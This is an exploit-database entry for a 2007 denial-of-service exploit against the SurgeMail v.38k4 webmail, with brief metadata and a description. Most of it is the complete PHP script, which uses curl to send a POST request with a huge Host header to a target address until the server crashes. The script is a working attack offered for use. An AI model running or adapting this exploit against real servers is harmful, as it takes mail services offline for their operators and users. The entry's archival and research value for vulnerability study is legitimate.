SurgeMail v.38k4 webmail Host header denial of service exploit

vendor:

SurgeMail v.38k4 webmail

by:

rgod

7.5

CVSS

HIGH

Denial of Service

Not provided

CWE

Product Name: SurgeMail v.38k4 webmail

Affected Version From: Not provided

Affected Version To: Not provided

Patch Exists: Not provided

Related CWE: Not provided

CPE: Not provided

Metasploit:

Other Scripts:

Platforms Tested: Windows

2007

SurgeMail v.38k4 webmail Host header denial of service exploit

This exploit targets the SurgeMail v.38k4 webmail application. It performs a denial of service attack by sending a specially crafted HTTP POST request with a large Host header. This causes the application to crash or become unresponsive.

Mitigation:

No mitigation or remediation provided

Source

Exploit-DB raw data:

<?php
/*
  SurgeMail v.38k4 webmail Host header denial of service exploit
  tested against the windows version

  rgod
*/

dl("php_curl.so");
$url = "http://192.168.0.1";
$puf=str_repeat(0xff,0xfff);

        $header ="POST / HTTP/1.0\r\n";
        $header.="Host: $puf\r\n";
        $header.="Connection: Close\r\n\r\n";
      
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);

        $data = curl_exec($ch); if (curl_errno($ch)) {
           print curl_error($ch)."\n";
        } else {
           curl_close($ch);
        }

?>

# milw0rm.com [2007-12-18]